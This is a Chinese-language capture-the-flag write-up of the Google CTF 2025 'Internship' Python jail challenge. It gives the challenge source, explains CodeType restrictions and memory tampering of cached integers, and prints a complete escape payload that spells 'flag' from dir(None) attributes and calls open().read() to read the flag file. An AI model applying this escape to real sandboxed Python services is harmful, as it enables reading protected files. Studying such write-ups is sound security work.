GoogleCTF2025之pwn-Internship详解
在GoogleCTF2025有一道pyjail的题目,考到的知识点非常的有意思,让我们来看看如何巧妙的构造payload拿到flag吧
题目简介
题目信息如下:
We just hired an intern, and they kept telling me their Python shell returns 1 when they asked for 2, and 6 when they asked for 9, and 4 when they asked for 20. What’s going on?
Author: mxms
译:
我们刚刚雇佣了一名实习生,他们一直告诉我,他们的 Python shell 在要求返回2 时却返回 1,在要求返回 9 时却返回 6,在要求返回 20 时返回 4。这是怎么回事?
作者: mxms
附件下载链接:Google CTF pwn Internship
题目源码:
import ctypes
import random
import sys
import os
import struct
from types import CodeType, FunctionType
p32 = lambda x: struct.pack("<i", x)
u32 = lambda x: struct.unpack("<i", x)[0]
class Intern:
def __init__(self, g, i, b):
self.g = g
self.i = i
self.b = b
def serialize(self):
return self.g + p32(self.i) + self.b
def swap():
ints = [x for x in range(255)]
random.shuffle(ints)
intern_num_size = 28 + 4
interns = ctypes.string_at(id(1), 255 * intern_num_size)
structure = lambda x: Intern(x[0:24], u32(x[24:28]), x[28:32])
new_interns = bytearray()
for i in range(255):
st = structure(interns[i* intern_num_size : (i + 1) * intern_num_size])
st.i = ints[i]
new_interns += st.serialize()
# 3 2 1 let's jam
ctypes.memmove(id(1), bytes(new_interns), len(new_interns))
def main():
print("We just hired an intern and they keep telling me that their python interpreter isn't working. They keep trying to read the `flag` but it keeps crashing. I don't really have time to debug this with them. Can you help them out?")
the_code = ''
while True:
line = input()
if line == '':
break
the_code = the_code + line + '\n'
g = compile(the_code, '<string>', 'exec')
to_exec = CodeType(
0,
0,
0,
1,
10,
0,
g.co_code,
(None,),
('p', 'dir', '__iter__', 'f', '__next__', 'print', 'open', 'read'),
('a',),
'<string>',
'<module>',
'',
1,
b'',
b'',
(),
(),
)
sc = FunctionType (to_exec, {})
swap()
sc()
if __name__ == '__main__':
main()大体分为以下步骤
1、while循环读入字符串赋值给the_code,经过 compile 得到代码对象。
compile主要语法:
compile(字符串或对象, 文件名或值, exec或eval或single种类)
g.co_code指的是字节码

2、动态创建CodeType对象,限制可用变量和函数。
什么是CodeType对象?
在Python中,CodeType是用于表示字节码对象的类型,属于types模块的一部分。它封装了Python函数或模块编译后的底层字节码信息,是动态创建和执行代码的关键工具。
from types import CodeType
code_obj = CodeType(
co_argcount, # 位置参数数量(不包括关键字参数)
co_posonlyargcount, # 仅限位置参数数量(Python 3.8+)
co_kwonlyargcount, # 仅限关键字参数数量
co_nlocals, # 局部变量数量(包括参数)
co_stacksize, # 执行所需的栈空间
co_flags, # 字节码标志位(如优化选项)
co_code, # 字节码指令序列(bytes类型)
co_consts, # 字节码使用的常量元组(如字符串、数字等)
co_names, # 全局变量名称元组
co_varnames, # 局部变量名称元组(包括参数名)
co_filename, # 源代码文件名
co_name, # 函数/模块名
co_firstlineno, # 代码首行行号
co_lnotab, # 行号与字节码偏移的映射(Python 3.10前)
co_freevars, # 自由变量名称元组(闭包用)
co_cellvars # 被嵌套函数引用的局部变量名称元组
)3、通过compile生成字节码后,将生成的字节码传入到 CodeType ,然后结合FunctionType包装为可调用函数
sc
4、将python的内存数据从0到254进行一个打乱
5、最后再执行我们的 sc 函数
代码对象CodeType
在这里我们需要注意一个点,在Python中,函数的__code__属性是存储函数底层字节码和元数据的CodeType对象。而普通函数对象包含太多无关信息(如闭包、装饰器等),__code__只包含纯执行逻辑的核心数据。因此如果普通函数直接调用co_code会直接报错。

我们先看看题目是如何创建的
from types import CodeType
str = "for i in range(0,10): print(i)"
g = compile(str, '<string>', 'exec')
CodeType(
0,
0,
0,
1,
10,
0,
g.co_code,
(None,),
('p', 'dir', '__iter__', 'f', '__next__', 'print', 'open', 'read'),
('a',),
'<string>',
'<module>',
'',
1,
b'',
b'',
(),
(),
)那么对应的其实就是
co_argcount: 0
co_posonlyargcount: 0
co_kwonlyargcount: 0
co_nlocals: 1
co_stacksize: 10
co_flags: 0
co_code: b'\x97\x00\x02\x00e\x00d\x00d\x01\xa6\x02\x00\x00\xab\x02\x00\x00\x00\x00\x00\x00\x00\x00D\x00]\rZ\x01\x02\x00e\x02e\x01\xa6\x01\x00\x00\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x8c\x0ed\x02S\x00'
co_consts: (None,)
co_names: ('p', 'dir', '__iter__', 'f', '__next__', 'print', 'open', 'read')
co_varnames: ('a',)
co_filename: <string>
co_name: <module>
co_qualname:
co_firstlineno: 1
co_linetable: b''
co_exceptiontable: b''
co_freevars: ()
co_cellvars: ()分析
1、co_names到底是什么意思呢?
可以看到题目有
('p', 'dir', '__iter__', 'f', '__next__', 'print', 'open', 'read')实际上co_names就是全局变量名称元组,里面是允许被调用的字符。
同时我发现
co_names如果为('f','dir', '__iter__', 'p', '__next__', 'print', 'open', 'read'),
则f必须要定义而p不需要被定义
co_names如果为('p','dir', '__iter__', 'f', '__next__', 'print', 'open', 'read'),
则p必须要定义而f不需要这是为什么呢?
通过dis.dis(a)去查询,发现
from types import CodeType, FunctionType
import dis
str = """
print(None)
"""
g = compile(str, '<string>', 'exec')
a=CodeType(
0,
0,
0,
1,
10,
0,
g.co_code,
(None,),
('p','dir', '__iter__', 'f', '__next__', 'print', 'open', 'read'),
('a',),
'<string>',
'<module>',
'',
1,
b'',
b'',
(),
(),
)
# 反汇编查看指令
dis.dis(a)输出结果:
0 RESUME 0
2 PUSH_NULL
4 LOAD_NAME 0 (p)
6 LOAD_CONST 0 (None)
8 PRECALL 1
12 CALL 1
22 POP_TOP
24 LOAD_CONST 0 (None)
26 RETURN_VALUELOAD_NAME表示从当前作用域中加载名称到栈顶,此时首先加载了p符号。
由于,只要字节码通过索引访问它们,但是co_names 又包含未使用的符号,解释器就会触发错误
比如执行环境中没有定义 'p',即,没有给p赋值,会触发 NameError: name 'p' is not defined
根本原因就是co_names 包含 'p',而字节码又通过索引(0)访问它们,但未在全局/局部环境提供该符号
因此p一定要被定义,而后面的f却没有通过索引访问,因此f没有被定义也不会报错。
2、co_consts被赋值为(None,)
这里的题目将co_consts赋值成了(None,)
题目限制常量只能用 None。数字、字符串都是不能直接使用。 也同时限制了函数或者或者 lambda 表达式的使用。
3、swap函数
swap函数使用ctypes.memmove函数直接操作内存,将修改后的new_interns数据复制到id(1)指向的内存地址。
修改Python解释器内部的内存数据,打乱intern_num_size相关的整数顺序。

构造exp
dockerfile提示我们附件在/home/user目录下面,即当前目录下
我们我们尝试去构造一个open('flag').read()的payload即可

由于题目限制常量只能用 None,因此我们只能p=None这样来进行赋值
同时发现dir(None)也是有他自己的属性的

在 Python 中,迭代器是一个实现了 __iter__ 和 __next__ 方法的对象。__iter__ 方法返回迭代器对象自身,而 __next__ 方法返回下一个元素。
那么我们岂不是能利用题目给的 __iter__ 和 __next__ 方法来构造自己想要的字符串了吗?
比如说我们需要找f字母
发现
__format__和__sizeof__都纯在f,但是__format__构造起来会比较简单因此我们需要7个next才能够选中format

然后我们还要选中format对象

成功的输出了我们的f字符
生成l
p = dir(None)
f = p.__iter__()
print(p)
p = f.__next__()
f = p.__iter__()
p=f.__next__()
p=f.__next__()
p=f.__next__()
p=f.__next__()
p=f.__next__()
p=f.__next__()
print(p)生成a
p = dir(None)
f = p.__iter__()
p = f.__next__()
p = f.__next__()
f = p.__iter__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()生成g
p = dir(None)
f = p.__iter__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
f = p.__iter__()
p = f.__next__()
p = f.__next__()
p = f.__next__()如果我们继续往下构造字符串,就需要我们用第三个变量将四个字符给存储起来
经过fuzz测试,如果在代码中间调用 print 会导致其后的代码无法执行。所以 print 必须最后才能使用
这里如果我们利用open作为第三个变量存储字符的话,

最后会报错,也不行
这是因为print和open都是一个独立的内置函数,而read是文件对象的一个方法,
所以可以直接拿read作为一个变量进行赋值。
所以我们最终的payload是
p = None
p = dir(None)
f = p.__iter__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
f = p.__iter__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
f=print
f=open
read=f"{p}"
p = dir(None)
f = p.__iter__()
p = f.__next__()
f = p.__iter__()
p=f.__next__()
p=f.__next__()
p=f.__next__()
p=f.__next__()
p=f.__next__()
p=f.__next__()
read=f"{read}{p}"
p = dir(None)
f = p.__iter__()
p = f.__next__()
p = f.__next__()
f = p.__iter__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
read=f"{read}{p}"
p = dir(None)
f = p.__iter__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
f = p.__iter__()
p = f.__next__()
p = f.__next__()
p = f.__next__()
read=f"{read}{p}"
print(read)
f=open(read).read()
print(f)拿到flag

环境搭建

docker build -t pyjail -f Dockerfile .
docker run --privileged -it --rm pyjail:latest /bin/bash进入容器以后输入命令
kctf_setup && \
kctf_drop_privs \
socat \
TCP-LISTEN:1337,reuseaddr,fork \
EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /usr/bin/python3 /home/user/bad.py"启动另外一个终端连接靶场
nc 127.0.0.1 1337输入上述最终的payload,即可拿到flag